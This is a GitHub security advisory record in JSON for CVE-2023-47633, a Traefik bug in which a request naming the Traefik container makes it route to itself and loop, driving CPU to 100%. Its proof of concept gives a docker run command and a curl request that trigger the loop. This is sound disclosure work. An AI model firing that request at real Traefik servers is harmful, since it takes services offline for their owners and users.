CVE-2023-47633: Github.com/traefik/traefik/v2 Traefik Docker Container Using 100% Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6fwg-jrfw-ff7p",
  "modified" : "2023-12-05T18:13:54Z",
  "published" : "2023-12-05T18:13:53Z",
  "aliases" : [ "CVE-2023-47633" ],
  "summary" : "Traefik docker container using 100% CPU",
  "details" : "### Summary\n\nThe traefik docker container uses 100% CPU when it serves as its own backend, which is an automatically generated route resulting from the Docker integration in the default configuration.\n\n### Details\n\nWhile attempting to set up Traefik to handle traffic for Docker containers, I observed in the webUI a rule with the following information:\n\n`Host(traefik-service) | webwebsecure | traefik-service@docker | traefik-service`\n\nI assumed that this is something internal; however, I wondered why it would have a host rule on the web entrypoint configured.\n\nSo I have send a request with that hostname with `curl -v --resolve \"traefik-service:80:xxx.xxx.xxx.xxx\" http://traefik-service`. That made my whole server unresponsive.\n\nI assume the name comes from a docker container with that name, traefik itself:\n```\nlocalhost ~ # docker ps\nCONTAINER ID   IMAGE                                                   COMMAND                  CREATED             STATUS         PORTS                                                                                                NAMES\nd1414e74aec7   traefik:v2.10                                           \"/entrypoint.sh trae…\"   4 minutes ago       Up 4 minutes   0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 127.0.0.1:8080->8080/tcp   traefik.service\n```\n\n### PoC\n\n1. Start traefik with `docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 --name foo -p 8080:8080 traefik:v2.10 --api.insecure=true --providers.docker`\n\n2. `curl -v --resolve \"foo:80:127.0.0.1\" http://foo`\n\nlooks like this creates an endless loop of request.\n\nKnowing the name of the docker container seems to be enough to trigger this, if the docker backend is used.\n\n### Impact\n\nServer is unreachable and uses 100% CPU",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.10.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/traefik/traefik/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0-beta5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/security/advisories/GHSA-6fwg-jrfw-ff7p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-47633"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/traefik/traefik"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v2.10.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/traefik/traefik/releases/tag/v3.0.0-beta5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-05T18:13:53Z",
    "nvd_published_at" : "2023-12-04T21:15:34Z"
  }
}